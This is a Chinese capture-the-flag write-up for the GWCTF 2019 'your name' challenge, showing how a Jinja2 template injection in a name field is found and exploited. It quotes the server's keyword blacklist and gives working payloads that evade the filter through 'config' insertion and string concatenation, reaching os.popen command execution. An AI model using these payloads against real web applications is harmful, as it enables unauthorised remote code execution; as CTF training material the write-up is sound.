[GWCTF 2019]你的名字
我们往姓名处输入一个1,页面回显一个1
这种情况,我们第一时间想到的是ssti模版注入
我们输入49,得到的居然是php报错
1 | 但我们输入{7*7}回显就正确了。说明题目过滤了{{}},所以我们就只能使用{}包含的ssti语句 |
我们尝试
1 | {%set a="test"%} |
页面没有报错,但也没有回显,说明正常执行了这句话,确定了考点是模板注入后就得想想怎么绕过了
通过查询资料,我们发现
1 | {%print %} |
这种形式可以进行回显
试了下
1 | {%print lipsum %} |
,终于有回显了,有回显了就好开始下面的构造了,至于一步步构造payload的过程有疑惑的,可以看一看ssti相关文章
这里还得补充一点,
1 | {%print %} |
形式下,若果你构造的payload是正常的ssti用到的语句却没有回显,就说明你的语句中可能有关键字被过滤了,如
1 | {%print ‘’.class %} |
执行之后没有任何的回显,但
1 | {%print ‘’.clconfigass %} |
成功执行有回显,这说明class被过滤了
这里给出源码的黑名单
1 | blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for', |
我们发现代码是先从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因为config字符串是在黑名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config的过滤,所以我们在过滤字符中加入config就可以绕过
所以最终payload
1 | {%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read()%} |
然后进行rce找flag
也可以拼接绕过
1 | {%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%} |
1 | {%print lipsum.__globals__['__builtins__']['__import__']('os')['po'+'pen']('whoami').read()%} |